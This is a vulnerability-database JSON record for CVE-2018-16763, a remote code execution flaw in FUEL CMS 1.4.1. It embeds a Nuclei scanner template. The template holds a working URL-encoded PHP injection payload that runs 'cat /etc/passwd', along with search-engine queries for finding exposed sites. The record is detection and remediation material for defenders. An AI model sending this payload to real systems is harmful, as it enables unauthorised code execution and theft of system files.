{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2018-16763/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2018-16763/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2018-16763/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2018-16763/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2018-16763/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2018-16763"},"sightings":{"href":"/api/v1/sightings/cve-2018-16763"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.82937,"kev":false,"percentile":0.99658},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2018/CVE-2018-16763.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2018-16763\n\ninfo:\n  name: FUEL CMS 1.4.1 - Remote Code Execution\n  author: pikpikcu\n  severity: critical\n  description: FUEL CMS 1.4.1 allows PHP Code Evaluation via the pages/select/ filter parameter or the preview/ data parameter.\n  impact: |\n    Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the target system, leading to complete compromise of the application and potentially the underlying server.\n  remediation: |\n    Upgrade to FUEL CMS version 1.4.2 or later, which includes a patch for this vulnerability.\n  reference:\n    - https://www.exploit-db.com/exploits/47138\n    - https://www.getfuelcms.com/\n    - https://github.com/daylightstudio/FUEL-CMS/releases/tag/1.4.1\n    - https://nvd.nist.gov/vuln/detail/CVE-2018-16763\n    - https://github.com/daylightstudio/FUEL-CMS/issues/478\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2018-16763\n    cwe-id: CWE-74\n    epss-score: 0.82937\n    epss-percentile: 0.99658\n    cpe: cpe:2.3:a:thedaylightstudio:fuel_cms:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: thedaylightstudio\n    product: fuel_cms\n    shodan-query: http.title:\"fuel cms\"\n    fofa-query: title=\"fuel cms\"\n    google-query: intitle:\"fuel cms\"\n  tags: cve,cve2018,fuelcms,rce,edb,thedaylightstudio,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        GET /fuel/pages/select/?filter=%27%2bpi(print(%24a%3d%27system%27))%2b%24a(%27cat%20/etc/passwd%27)%2b%27 HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        regex:\n          - \"root:.*:0:0:\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a0047304502204ba3e0bdbf295a655f8862488c4fdcaeb113bd6c2ac2f9ebac758ea25de315bc022100ba03aeed34cb815fd0790e28bef35b0e1476dd70d3ec860f1204a315fb1ccea1:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2018-16763"}